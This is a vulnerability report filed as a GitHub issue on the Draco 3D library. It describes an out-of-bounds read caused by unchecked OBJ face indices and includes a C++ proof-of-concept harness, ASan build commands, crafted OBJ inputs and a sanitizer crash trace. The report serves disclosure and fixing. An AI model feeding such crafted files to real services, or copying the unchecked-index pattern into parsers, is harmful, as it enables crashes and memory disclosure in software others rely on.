Skip to content

Out-of-bounds read in draco::PointAttribute::DeduplicateFormattedValues #1194

@emptyiscolor

Description

@emptyiscolor

Summary

  • OS: Linux x86_64
  • Toolchain: clang 14
  • Build: cmake -DCMAKE_BUILD_TYPE=Debug -DDRACO_BUILD_EXECUTABLES=ON
    with -fsanitize=address -fno-omit-frame-pointer -fno-optimize-sibling-calls
  • Verified against Draco main at commit 77e616e (version string 1.5.7).

The Draco OBJ decoder accepts OBJ face definitions whose texture-coordinate or
normal indices refer to entries that were never declared in the file. The
parser validates only that each index is non-zero; it never checks that the
index fits within the number of vt / vn / v entries seen in the first
parsing pass. The unchecked index is stored directly into the per-point
attribute mapping (indices_map_) and later dereferenced by the attribute
deduplication stage, producing an out-of-bounds read in
PointAttribute::DeduplicateFormattedValues.

The vulnerability is reachable from the public ObjDecoder::DecodeFromBuffer
API and from the shipped draco_encoder / draco_decoder command-line tools
when given an attacker-controlled .obj file.

Affected component

  • Version: 1.5.7 (current main, commit 77e616e)
  • File: src/draco/io/obj_decoder.cc
  • Entry points:
    • draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, PointCloud*)
    • draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, Mesh*)
    • draco::ObjDecoder::DecodeFromFile(...) (via ReadMeshFromFile /
      ReadPointCloudFromFile from draco_encoder / draco_decoder)

Proof of concept

PoC 1 — Library API (minimal, ASan build required to observe)

poc_objdecoder_repro.cc:

#include <iostream>
#include <string>

#include "draco/core/decoder_buffer.h"
#include "draco/core/status.h"
#include "draco/io/obj_decoder.h"
#include "draco/point_cloud/point_cloud.h"

int main() {
  // Valid OBJ syntax with three positions, three normals, only three
  // texcoords, while the face maps every vertex to texcoord index 100.
  const std::string obj =
      "v 0 0 0\n"
      "v 1 0 0\n"
      "v 0 1 0\n"
      "vt 0 0\n"
      "vt 0 0\n"
      "vt 0 0\n"
      "vn 0 0 1\n"
      "vn 0 0 1\n"
      "vn 0 0 1\n"
      "f 1/100/1 2/100/2 3/100/3\n";

  draco::DecoderBuffer buffer;
  buffer.Init(obj.data(), obj.size());

  draco::ObjDecoder decoder;
  draco::PointCloud pc;
  const draco::Status status = decoder.DecodeFromBuffer(&buffer, &pc);

  std::cerr << "Decode status ok: " << status.ok() << "\n";
  if (!status.ok()) std::cerr << status.error_msg() << "\n";
  return status.ok() ? 0 : 1;
}

Build and run under ASan:

cmake -S <draco> -B /tmp/draco-asan -DCMAKE_BUILD_TYPE=Debug \
  -DDRACO_BUILD_EXECUTABLES=OFF \
  -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
  -DCMAKE_C_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address'
cmake --build /tmp/draco-asan --target draco -j
clang++ -std=c++17 -g -O1 -fsanitize=address -fno-omit-frame-pointer \
  -I<draco>/src -I/tmp/draco-asan poc_objdecoder_repro.cc \
  /tmp/draco-asan/libdraco.a -lpthread -o /tmp/poc_objdecoder_repro
ASAN_OPTIONS=abort_on_error=1:symbolize=1 /tmp/poc_objdecoder_repro

PoC 2 — Shipped CLI, ASan build (reliable crash)

Save the same OBJ to /tmp/crash.obj and run the sanitizer-built encoder:

ASAN_OPTIONS=abort_on_error=1:symbolize=1 \
  /tmp/draco-asan/draco_encoder -i /tmp/crash.obj -o /tmp/out.drc

/tmp/crash_big.obj:

v 0 0 0
v 1 0 0
v 0 1 0
vt 0 0
vt 0 0
vt 0 0
vn 0 0 1
vn 0 0 1
vn 0 0 1
f 1/2000000000/1 2/2000000000/2 3/2000000000/3

Observed output

ASan report

==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000002bc
READ of size 4 at 0x5020000002bc thread T0
    #0 draco::IndexType<...>::IndexType(...)           core/draco_index_type.h:70:54
    #1 draco::PointAttribute::DeduplicateFormattedValues<float, 2>
                                                       attributes/point_attribute.cc:219:27
    #2 draco::PointAttribute::DeduplicateTypedValues<float>
                                                       attributes/point_attribute.cc:139:14
    #3 draco::PointAttribute::DeduplicateValues(...)   attributes/point_attribute.cc:97:21
    #4 draco::PointAttribute::DeduplicateValues(...)   attributes/point_attribute.cc:88:10
    #5 draco::PointCloud::DeduplicateAttributeValues() point_cloud/point_cloud.cc:294:29
    #6 draco::ObjDecoder::DecodeInternal()             io/obj_decoder.cc:274:23
    #7 draco::ObjDecoder::DecodeFromBuffer(...)        io/obj_decoder.cc:85:10
    (or DecodeFromFile / ReadMeshFromFile / draco_encoder main on PoC #2)

0x5020000002bc is located 384 bytes after 12-byte region [0x502000000130,0x50200000013c)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions